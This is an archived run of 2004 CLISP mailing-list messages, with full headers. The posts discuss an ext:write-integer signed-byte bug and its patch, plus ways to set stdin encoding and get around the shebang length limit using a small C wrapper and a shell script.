(write-byte (ldb (byte 8 i) -1) s)) 8-[ With best regards, Randolph Udodenko. From sds@gnu.org Wed Jul 21 15:28:41 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnPZo-0005zB-Sr for clisp-list@lists.sourceforge.net; Wed, 21 Jul 2004 15:28:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BnPZn-0001cN-MW; Wed, 21 Jul 2004 15:28:40 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6LMSU2p003599; Wed, 21 Jul 2004 18:28:31 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Randolph Udodenko" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Randolph Udodenko's message of "Thu, 22 Jul 2004 00:47:44 +0300") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Randolph Udodenko" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: ext:write-integer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Jul 21 15:29:03 2004 X-Original-Date: Wed, 21 Jul 2004 18:28:30 -0400 > * Randolph Udodenko [2004-07-22 00:47:44 +0300]: > > (ext:write-integer -1 stream '(signed-byte 32)) > writes there integer that was written there previously. it should at least > say something, i think 8-] > it will be great if it work, otherwise one has to use something like > > (loop for i from 0 to 24 by 8 do (write-byte (ldb (byte 8 i) -1) s)) Sorry, I do not understand the question. -- Sam Steingold (http://www.podval.org/~sds) running w2k A PC without Windows is like ice cream without ketchup. From mega@hotpop.com Thu Jul 22 04:29:34 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnblV-0008WE-E6 for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 04:29:33 -0700 Received: from fwall.essnet.se ([212.209.198.194] helo=essnet.se) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BnblU-0006Sw-MQ for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 04:29:33 -0700 Received: by fwall.essnet.se id <336139>; Thu, 22 Jul 2004 13:27:24 +0200 From: Gabor Melis To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.6.2 MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <04Jul22.132724cest.336139@fwall.essnet.se> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] *standard-input* encoding Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 22 04:30:06 2004 X-Original-Date: Thu, 22 Jul 2004 13:24:42 +0200 I'm writing a traditional UNIX filter that works with binary input as well.ISO-8859-1 looks to be the safe bet, so the script that invokes clisp looks like this: #!/usr/bin/clisp -Eterminal iso-8859-1 -Efile iso-8859-1 ... The problem is that the whole line is too long for the linux kernel and it gets truncated. I would like to set the encodings in the lisp code, but the *standard-input* stream already exists. Is there a way out of this? Thanks, Gabor From hin@van-halen.alma.com Thu Jul 22 06:34:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Bndie-000142-BU for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 06:34:44 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1Bndid-0004eH-QS for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 06:34:44 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 13FFE10DF4B; Thu, 22 Jul 2004 09:34:36 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i6MDYZCv028935; Thu, 22 Jul 2004 09:34:35 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i6MDYXW8028928; Thu, 22 Jul 2004 09:34:33 -0400 Message-Id: <200407221334.i6MDYXW8028928@van-halen.alma.com> From: "John K. Hinsdale" To: mega@hotpop.com Cc: clisp-list@lists.sourceforge.net In-reply-to: <04Jul22.132724cest.336139@fwall.essnet.se> (message from Gabor Melis on Thu, 22 Jul 2004 13:24:42 +0200) Subject: Re: [clisp-list] *standard-input* encoding X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BRACKET_OPEN BODY: Text interparsed with [ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 22 06:35:12 2004 X-Original-Date: Thu, 22 Jul 2004 09:34:33 -0400 > #!/usr/bin/clisp -Eterminal iso-8859-1 -Efile iso-8859-1 ... > > The problem is that the whole line is too long for the linux kernel Well I have a solution, it DOES work for me, but there may be better ways. But I post this in case you are desperate. Yes, on my Linux box it seems to be limited to 128 characters ... Surprisingly lame of Linux/Unix really ... > I would like to set the encodings in the lisp code, but the > *standard-input* stream already exists. Right, so I think you need to set the encodings via the CLISP command line arguments, before CLISP sets up *STANDARD-INPUT*, and freezes its character encoding for the remainder of the program (developers, is that correct?). At any rate, a way around the silly 128-char limit of the "!" line, is to make a "C" program wrapper that inserts the extra CLISP arguments for you. [I tried to do this hack with a plain /bin/sh shell wrapper and it did not work -- I do not think you can "nest" #! interpreters]. > Is there a way out of this? YES, you can use the method below, unless Sam has a better idea ;) This hack allows a CLISP program to read binary data from *standard-input* even when fed as a Unix pipe ... Create the following two files, "myclisp.c" and "test.sh" by cutting and pasting what is attached below. Edit "prepend_args" array in "myclisp.c" to add as many extra "standard" CLISP options you want (i.e., the ones that are taking up all the room ;) Note each option must be a separate string in the array (don't put spaces inside the strings). Then compile it with: gcc -o myclisp myclisp.c Install "myclisp" somehere accessible to you (in your home, or /usr/local/bin for systemwide visibility, whatever) Edit "test.sh" to replace the first line (/path/to/myclisp) with where you installed the compiled "myclisp" ... Run test.sh, feeding it some binary data. Note that you can do BOTH ./test.sh /* Execute this interpreter ... */ static char * interpreter = "/usr/local/bin/clisp"; /* ... with these arguments pre-pended to the args given to this program. There is no siginificant limit to the number or size of args here. */ static char * prepend_args[] = { "-Efile", "iso-8859-1", "-Epathname", "iso-8859-1", "-Eterminal", "iso-8859-1", "-Eforeign", "iso-8859-1", "-Emisc", "iso-8859-1", "-q", }; /* Re-exec a new interpreter, inserting arguments above */ int main(int argc, char **argv) { int nprepend = sizeof prepend_args / sizeof *prepend_args; char ** newargv = (char **) malloc((nprepend + argc + 1) * sizeof *newargv); int i; char **p; newargv[0] = interpreter; for (i=0; i < nprepend; i++) newargv[i+1] = prepend_args[i]; for (i=nprepend; i < nprepend + argc; i++) newargv[i+1] = argv[i - nprepend + 1]; argv[nprepend + argc] = 0; execvp(*newargv, newargv); return 1; } ------- Cut above here and save as myclisp.c --------- ------- Cut below here and save as test.sh --------- #!/u/hin/myclisp ; Replace the #! line above with the path to the compiled program "myclisp" ; Use READ-CHAR on a stream encoded in ISO-8851-1 or other ; 8-bit character set to get binary data (defun read-binary (s) (print "Beginning of stream ...") (do (char eof) (eof) (setf char (read-char s nil)) (if (not char) (setf eof t) (print (char-code char)))) (print "... end of the stream")) ; Show the encodings we are using (mapcar #'print (list "Here are the format encodings ..." *default-file-encoding* *foreign-encoding* *misc-encoding* *pathname-encoding* *terminal-encoding* "... end of the format encodings:")) ; Show the command arguments (mapcar #'print (list "Beginning of the command arguments ..." (argv) "... end of the command arguments")) ; Read the binary from the standard input (read-binary *standard-input*) ------- Cut above here and save as test.sh --------- From sds@gnu.org Thu Jul 22 07:22:44 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BneT5-00016Q-D9 for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 07:22:43 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BneT4-0004g0-7A for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 07:22:42 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6MEMR0U006999; Thu, 22 Jul 2004 10:22:27 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200407221334.i6MDYXW8028928@van-halen.alma.com> (John K. Hinsdale's message of "Thu, 22 Jul 2004 09:34:33 -0400") References: <04Jul22.132724cest.336139@fwall.essnet.se> <200407221334.i6MDYXW8028928@van-halen.alma.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, "John K. Hinsdale" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: *standard-input* encoding Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 22 07:23:19 2004 X-Original-Date: Thu, 22 Jul 2004 10:22:25 -0400 > * John K. Hinsdale [2004-07-22 09:34:33 -0400]: > > > #!/usr/bin/clisp -Eterminal iso-8859-1 -Efile iso-8859-1 ... how about just "-E iso-8859-1"? > Yes, on my Linux box it seems to be limited to 128 characters ... : On some platforms, the first line which specifies the interpreter is limited in length: * max. 32 characters on SunOS 4, * max. 80 characters on HP-UX, * max. 127 characters on Linux. > > I would like to set the encodings in the lisp code, but the > > *standard-input* stream already exists. > > Right, so I think you need to set the encodings via the CLISP command > line arguments, before CLISP sets up *STANDARD-INPUT*, and freezes its > character encoding for the remainder of the program (developers, is > that correct?). 1. first, you can do (ext:make-stream :input) 2. IIRC, when CLISP runs as a script interpreter, *standard-input* is a usual buffered handle stream, so you can change its encoding at will. > At any rate, a way around the silly 128-char limit of the "!" line, is > to make a "C" program wrapper that inserts the extra CLISP arguments > for you. [I tried to do this hack with a plain /bin/sh shell wrapper > and it did not work -- I do not think you can "nest" #! interpreters]. yes. > In the first case CLISP sees a "file" type of stream, in the second a > "terminal' type of stream. In the second case, when CLISP opens the > *standard-input* as a terminal, you _cannot_ use READ-BYTE on it. > See: > http://clisp.cons.org/impnotes/stream-dict.html#bin-stdio *STANDARD-INPUT* should be a synonym to *TERMINAL-IO* only when user interaction is expected. Please report everything else as a bug (but first test against CVS head because I think it has been fixed). > However, you _can_ use READ-CHAR, which, when you use an 8-bit char > set like ISO-8859-1, you can get the binary data. You may then need > to further do something like: > (setf binary-char (coerce (char-code c) '(unsigned-byte 8))) > to convert the ISO-8859-1 characters to raw bytes. Note that the > ISO-8859 meaning of the character is irrelevant here. this is not a good idea, both conceptually and performance-wise. -- Sam Steingold (http://www.podval.org/~sds) running w2k Bill Gates is great, as long as `bill' is a verb. From lisp-clisp-list@m.gmane.org Thu Jul 22 07:22:54 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BneTF-00018u-Ec for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 07:22:53 -0700 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BneTE-0004jh-Gn for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 07:22:53 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1BneTC-0002FK-00 for ; Thu, 22 Jul 2004 16:22:50 +0200 Received: from s93-2channel.dc.ukrtel.net ([195.5.21.146]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 22 Jul 2004 16:22:50 +0200 Received: from udodenko by s93-2channel.dc.ukrtel.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 22 Jul 2004 16:22:50 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Randolph Udodenko" Lines: 20 Message-ID: References: X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: s93-2channel.dc.ukrtel.net X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1437 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-Comment-To: Randolph Udodenko FL-Build: Fidolook 2004 (HL) 6.0.2800.90 - 7/2/2004 14:37:42 X-Spam-Score: 1.9 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 1.0 NO_COST BODY: No such thing as a free lunch (3) 0.8 PRIORITY_NO_NAME Message has priority setting, but no X-Mailer Subject: [clisp-list] Re: ext:write-integer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 22 07:23:37 2004 X-Original-Date: Thu, 22 Jul 2004 17:22:59 +0300 hello hm, look's like previous message is somewhat messy.. 8-] when i write (ext:write-integer data stream '(unsigned-byte 32)) it works well. but i needed to write there negative numbers too. so i thought that '(signed-byte 32) will work as well. there was no error raised, but it wrote incorrect data to my file. (that incorrect data is last one integer that is written with '(unsigned-byte 32) or some garbage). so i think it should at least report error - that '(signed-byte 32) is not acceptable. or better it should support '(signed-byte 32) - it will increase usefullness of this function a lot with almost no cost. by the way, thanks people who develop clisp for clisp. 8-] it's my favourite Common Lisp implementation under win32.. From mega@hotpop.com Thu Jul 22 08:11:16 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnfE3-0001UM-Hc for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 08:11:15 -0700 Received: from fwall.essnet.se ([212.209.198.194] helo=essnet.se) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BnfE2-00057C-RS for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 08:11:15 -0700 Received: by fwall.essnet.se id <336291>; Thu, 22 Jul 2004 17:11:03 +0200 From: Gabor Melis To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: *standard-input* encoding User-Agent: KMail/1.6.2 Cc: Sam Steingold , "John K. Hinsdale" References: <04Jul22.132724cest.336139@fwall.essnet.se> <200407221334.i6MDYXW8028928@van-halen.alma.com> In-Reply-To: MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Message-Id: <04Jul22.171103cest.336291@fwall.essnet.se> X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 22 08:22:25 2004 X-Original-Date: Thu, 22 Jul 2004 17:08:24 +0200 On Thursday 22 July 2004 16:22, Sam Steingold wrote: > > * John K. Hinsdale [2004-07-22 09:34:33 -0400]: > > > #!/usr/bin/clisp -Eterminal iso-8859-1 -Efile iso-8859-1 ... > > how about just "-E iso-8859-1"? > Hmm. I didn't realize that's possible. Something is strange, though: $ clisp -q "-E iso-8859-1" doesn't work (prints usage), but $ clisp "-E iso-8859-1" -q and $ clisp -q -Efile iso-8859-1 does. > > > Yes, on my Linux box it seems to be limited to 128 characters ... > > : > On some platforms, the first line which specifies the interpreter is > limited in length: > > * max. 32 characters on SunOS 4, > * max. 80 characters on HP-UX, > * max. 127 characters on Linux. > That's so low that depending on the length of the path where the xxx program is installed my script can run into trouble. What about this wasteful solution? #!/bin/sh F=/tmp/xxx-invoker$$ echo '(xxx)' > $F # "-E iso-8859-1" doesn't work here either /home/mega/lib/clisp/xxx/lisp.run -Efile iso-8859-1 -Eterminal iso-8859-1 \ -M/home/mega/lib/clisp/xxx/lispinit.mem $F "$@" rm -f $F From hin@van-halen.alma.com Thu Jul 22 08:18:52 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnfLO-0002hn-SJ for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 08:18:50 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BnfLO-0006S7-Gc for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 08:18:50 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 7549810DEFA; Thu, 22 Jul 2004 11:18:38 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i6MFIbCv031457; Thu, 22 Jul 2004 11:18:37 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i6MFIbNV031454; Thu, 22 Jul 2004 11:18:37 -0400 Message-Id: <200407221518.i6MFIbNV031454@van-halen.alma.com> From: "John K. Hinsdale" To: mega@hotpop.com Cc: clisp-list@lists.sourceforge.net, sds@gnu.org In-reply-to: <04Jul22.171103cest.336291@fwall.essnet.se> (message from Gabor Melis on Thu, 22 Jul 2004 17:08:24 +0200) Subject: Re: [clisp-list] Re: *standard-input* encoding X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 22 08:24:21 2004 X-Original-Date: Thu, 22 Jul 2004 11:18:37 -0400 > Something is strange, though: > $ clisp -q "-E iso-8859-1" > doesn't work (prints usage), CLISP wants the "-E" and the "iso-8859-1" to be separate Unix command arguments. When you put the quotes around it, gets squashed into a single argument. > but > $ clisp "-E iso-8859-1" -q > does that is weird > and > $ clisp -q -Efile iso-8859-1 > does as expected (the "-Efile" and its parameters are separate) From hin@van-halen.alma.com Thu Jul 22 08:24:42 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnfR4-0003fQ-BE for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 08:24:42 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.34) id 1BnfR4-0003Y7-0W for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 08:24:42 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 6D13F10DF9B for ; Thu, 22 Jul 2004 11:24:39 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id i6MFOcCv031663 for ; Thu, 22 Jul 2004 11:24:38 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id i6MFOcc6031660; Thu, 22 Jul 2004 11:24:38 -0400 Message-Id: <200407221524.i6MFOcc6031660@van-halen.alma.com> From: "John K. Hinsdale" To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on Thu, 22 Jul 2004 10:22:25 -0400) X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: *standard-input* encoding Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 22 08:26:29 2004 X-Original-Date: Thu, 22 Jul 2004 11:24:38 -0400 > 1. first, you can do (ext:make-stream :input) > > > 2. IIRC, when CLISP runs as a script interpreter, *standard-input* is a > usual buffered handle stream, so you can change its encoding at will. see i knew Sam would have a better idea. ;) I think you still need something like the "C" wrapper hack if you really must use a lot of other command options. (Setting the stdin encoding and skirting the 128-char limit are really two different issues). I suppose in principle anything you can do on the command line you should also be able to do from Lisp (like set memory usage, lanauage, Lisp dialect etc.) so that use of lots command options can be avoided. Cheers and good luck. --- John Hinsdale, Alma Mater Software, Inc., Tarrytown, NY 10591-3710 USA hin@alma.com | http://www.alma.com/staff/hin | +1 914 631 4690 From sds@gnu.org Thu Jul 22 10:29:51 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1BnhOA-0003cU-My for clisp-list@lists.sourceforge.net; Thu, 22 Jul 2004 10:29:50 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.34) id 1BnhOA-00008i-8c; Thu, 22 Jul 2004 10:29:50 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i6MHTf0U001694; Thu, 22 Jul 2004 13:29:41 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Randolph Udodenko" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Randolph Udodenko's message of "Thu, 22 Jul 2004 17:22:59 +0300") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Randolph Udodenko" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_CLOSE BODY: Text interparsed with ) 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_COMMA BODY: Text interparsed with , 1.0 NO_COST BODY: No such thing as a free lunch (3) 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] Re: ext:write-integer Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jul 22 10:30:24 2004 X-Original-Date: Thu, 22 Jul 2004 13:29:41 -0400 > * Randolph Udodenko [2004-07-22 17:22:59 +0300]: > > or better it should support '(signed-byte 32) - it will increase > usefullness of this function a lot with almost no cost. thanks for the bug report. patch appended. -- Sam Steingold (http://www.podval.org/~sds) running w2k God had a deadline, so He wrote it all in Lisp. Index: stream.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/stream.d,v retrieving revision 1.438 retrieving revision 1.439 diff -u -w -b -u -b -w -i -B -r1.438 -r1.439 --- stream.d 2 Jun 2004 21:32:30 -0000 1.438 +++ stream.d 22 Jul 2004 17:27:35 -0000 1.439 @@ -4378,8 +4378,7 @@ # obj is an integer # transfer obj into the bitbuffer: { - var uintB* bitbufferptr = - 